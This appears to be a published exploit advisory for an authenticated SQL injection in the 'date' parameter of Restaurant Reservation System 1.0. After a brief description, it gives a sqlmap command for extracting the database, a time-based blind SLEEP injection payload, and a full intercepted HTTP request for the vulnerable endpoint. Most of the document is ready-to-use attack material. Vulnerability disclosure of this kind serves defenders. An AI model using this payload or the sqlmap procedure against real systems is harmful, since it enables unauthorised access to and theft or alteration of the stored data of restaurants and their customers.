Restaurant Reservation System 1.0 SQL Injection

`# Exploit Title: Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)  
# Date: 2020-10-05  
# Exploit Author: b1nary  
# Vendor Homepage: https://www.sourcecodester.com/php/14482/restaurant-reservation-system-php-full-source-code-2020.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/restaurants_3.zip  
# Version: 1.0  
# Tested on: Linux + Apache2  
  
------------------------------------------------------------------------------------  
  
1. Description:  
----------------------  
  
Restaurant Reservation System 1.0 allows SQL Injection via parameter 'date' in  
includes/reservation.inc.php. Exploiting this issue could allow an attacker to compromise  
the application, access or modify data, or exploit latent vulnerabilities  
in the underlying database.  
  
  
2. Proof of Concept:  
----------------------  
  
In Burpsuite intercept the request from the affected page with  
'date' parameter and save it like re.req. Then run SQLmap to extract the  
data from the database:  
  
sqlmap -r re.req --dbms=mysql  
  
  
3. Example payload:  
----------------------  
  
(time-based blind)  
  
fname=user&lname=user&date=2020-10-14' AND (SELECT 1934 FROM (SELECT(SLEEP(5)))lmWi) AND   
'navS'='navS&time=16:00 - 20:00&num_guests=2&tele=123456789&comments=null&reserv-submit=  
  
  
4. Burpsuite request:  
----------------------  
  
POST /restaurant/includes/reservation.inc.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 117  
Origin: http://127.0.0.1  
DNT: 1  
Connection: close  
Referer: http://127.0.0.1/restaurant/reservation.php  
Cookie: PHPSESSID=r355njdkuddu4ac0a784i9i69m  
Upgrade-Insecure-Requests: 1  
  
fname=user&lname=user&date=2020-10-14&time=16%3A00+-+20%3A00&num_guests=2&tele=123456789&comments=null&reserv-submit=  
`